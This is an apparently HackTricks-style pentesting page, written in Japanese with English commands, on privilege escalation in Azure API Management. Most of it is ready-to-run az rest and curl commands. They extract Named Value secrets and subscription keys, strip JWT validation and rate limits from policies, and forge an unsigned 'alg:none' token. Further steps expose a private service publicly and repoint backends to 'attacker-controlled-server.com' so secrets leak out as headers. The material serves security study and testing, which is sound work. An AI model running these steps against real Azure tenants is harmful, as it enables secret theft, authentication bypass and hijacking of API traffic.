# Az - API Management Privesc

{{#include ../../../banners/hacktricks-training.md}}

## `Microsoft.ApiManagement/service/namedValues/read` & `Microsoft.ApiManagement/service/namedValues/listValue/action`

この攻撃は、Azure API Management Named Values に保存された機密 secrets にアクセスすることで、secret values を直接取得するか、managed identities を悪用して Key Vault–backed secrets を取得する権限を濫用する、というものです。
```bash
az apim nv show-secret --resource-group <resource-group> --service-name <service-name> --named-value-id <named-value-id>
```
## `Microsoft.ApiManagement/service/subscriptions/read` & `Microsoft.ApiManagement/service/subscriptions/listSecrets/action`
各サブスクリプションについて、攻撃者は POST メソッドで listSecrets エンドポイントを使用してサブスクリプションキーを取得できます：
```bash
az rest --method POST \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<subscription-sid>/listSecrets?api-version=2024-05-01"
```
レスポンスには subscription primary key (primaryKey) と secondary key (secondaryKey) が含まれています。これらのキーがあれば、攻撃者は認証して API Management Gateway を通じて公開されている APIs にアクセスできます:
```bash
curl -H "Ocp-Apim-Subscription-Key: <primary-key-or-secondary-key>" \
https://<service-name>.azure-api.net/<api-path>
```
攻撃者はサブスクリプションに関連付けられたすべての API と製品にアクセスできます。サブスクリプションが機密性の高い製品や API にアクセスできる場合、攻撃者は機密情報を取得したり、不正な操作を実行したりする可能性があります。

## `Microsoft.ApiManagement/service/policies/write` or `Microsoft.ApiManagement/service/apis/policies/write`

攻撃者はまず現在の API ポリシーを取得します:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/?api-version=2024-05-01&format=rawxml"
```
攻撃者は目的に応じてポリシーを様々な方法で変更できます。例えば、認証を無効にするためにポリシーに JWT token validation が含まれている場合、その部分を削除するかコメントアウトできます:
```xml
<policies>
<inbound>
<base />
<!-- JWT validation removed by the attacker -->
<!-- <validate-jwt header-name="Authorization" failed-validation-httpcode="401" >
...
</validate-jwt> -->
</inbound>
<backend>
<base />
</backend>
<outbound>
<base />
</outbound>
<on-error>
<base />
</on-error>
</policies>
```
レート制限のコントロールを解除してdenial-of-service attacksを許可するために、攻撃者はquotaやrate-limitポリシーを削除するかコメントアウトできます：
```xml
<policies>
<inbound>
<base />
<!-- Rate limiting removed by the attacker -->
<!-- <rate-limit calls="100" renewal-period="60" />
<quota-by-key calls="1000" renewal-period="3600" counter-key="@(context.Subscription.Id)" /> -->
</inbound>
...
</policies>
```
バックエンドのルートを変更して、トラフィックを attacker-controlled server にリダイレクトするには：
```xml
<policies>
...
<inbound>
<base />
<set-backend-service base-url="https://attacker-controlled-server.com" />
</inbound>
...
</policies>
```
攻撃者は修正したポリシーを適用します。リクエストボディはポリシーをXML形式で含むJSONオブジェクトでなければなりません:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"format": "rawxml",
"value": "<policies><inbound><base /></inbound><backend><base /></backend><outbound><base /></outbound><on-error><base /></on-error></policies>"
}
}'
```
## JWT 検証の誤構成

攻撃者は、API が JWT トークン検証を使用しており、ポリシーが誤構成されていることを把握している必要があります。誤って構成された JWT 検証ポリシーは `require-signed-tokens="false"` や `require-expiration-time="false"` のようになっており、署名されていないトークンや期限が設定されていない（無期限の）トークンをサービスが受け入れてしまう可能性があります。

攻撃者は none アルゴリズム（署名なし）を使用した悪意のある JWT トークンを作成します:
```
# Header: {"alg":"none"}
# Payload: {"sub":"user"}
eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0.
```
攻撃者は悪意のあるトークンを使用して API にリクエストを送信します:
```bash
curl -X GET \
-H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \
https://<apim>.azure-api.net/path
```
ポリシーが `require-signed-tokens="false"` に誤設定されている場合、サービスは署名されていないトークンを受け入れます。攻撃者は `require-expiration-time="false"` の場合、有効期限クレームを持たないトークンを作成することもできます。

## `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action`
攻撃者はまずサービスの現在のネットワーク構成を確認します:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01"
```
攻撃者はJSONレスポンスを確認し、`publicNetworkAccess` と `virtualNetworkType` の値を検証する。`publicNetworkAccess` が false に設定されているか、`virtualNetworkType` が Internal に設定されている場合、サービスはプライベートアクセスに構成されている。

サービスをインターネットに公開するために、攻撃者は両方の設定を変更する必要がある。サービスが internal モードで実行されている場合 (`virtualNetworkType: "Internal"`)、攻撃者はこれを None または External に変更し、`publicNetworkAccess` を有効にする。これは Azure Management API を使用して実行できる:
```bash
az rest --method PATCH \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"publicNetworkAccess": "Enabled",
"virtualNetworkType": "None"
}
}'
```
一度`virtualNetworkType`が`None`または`External`に設定され、`publicNetworkAccess`が有効になると、サービスとそのすべてのAPIはインターネットからアクセス可能になります。たとえ以前はプライベートネットワークやプライベートエンドポイントの背後で保護されていたとしても。

## `Microsoft.ApiManagement/service/backends/write`
攻撃者はまず既存のバックエンドを列挙して、どれを変更するかを特定します:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends?api-version=2024-05-01"
```
攻撃者は変更したいバックエンドの現在の構成を取得する：
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01"
```
攻撃者はbackend URLを自分の管理下にあるサーバーを指すように変更します。まず前のレスポンスからETagを取得し、その後backendを更新します:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "Content-Type=application/json" "If-Match=*" \
--body '{
"properties": {
"url": "https://attacker-controlled-server.com",
"protocol": "http",
"description": "Backend modified by attacker"
}
}'
```
代わりに、攻撃者は backend headers を構成して、機密を含む Named Values を exfiltrate できます。これは backend credentials configuration を通じて行われます:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "Content-Type=application/json" "If-Match=*" \
--body '{
"properties": {
"url": "https://attacker-controlled-server.com",
"protocol": "http",
"credentials": {
"header": {
"X-Secret-Value": ["{{named-value-secret}}"]
}
}
}
}'
```
この構成では、Named Values が攻撃者制御のバックエンドへのすべてのリクエストのヘッダーとして送信され、機密シークレットの流出を可能にします。

{{#include ../../../banners/hacktricks-training.md}}
